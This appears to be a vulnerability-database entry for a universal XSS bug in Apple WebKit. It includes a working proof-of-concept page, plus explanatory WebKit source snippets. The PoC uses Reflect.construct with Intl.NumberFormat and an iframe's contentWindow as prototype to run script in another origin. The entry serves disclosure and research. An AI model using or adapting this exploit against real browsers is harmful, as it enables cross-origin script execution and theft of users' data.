Apple WebKit: UXSS via PrototypeMap::createEmptyStructure

🗓️ 19 Apr 2017 00:00:00Reported by RootType

Apple WebKit: UXSS vulnerability via PrototypeMap::createEmptyStructur


                                                <body>
<script>

/*

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
{
    ...
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
            ...
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
            ...
        } else {
            ...
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
            ...
        }
    }
    
    return baseClass;
}

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
{
    ...
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));
    ...
}

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).

*/

'use strict';

function main() {
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Intl.NumberFormat, [], g);
        Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
    };

    f.src = 'https://abc.xyz/';
}

main();

</script>
</body>

19 Apr 2017 00:00Current

6.9Medium risk

Vulners AI Score6.9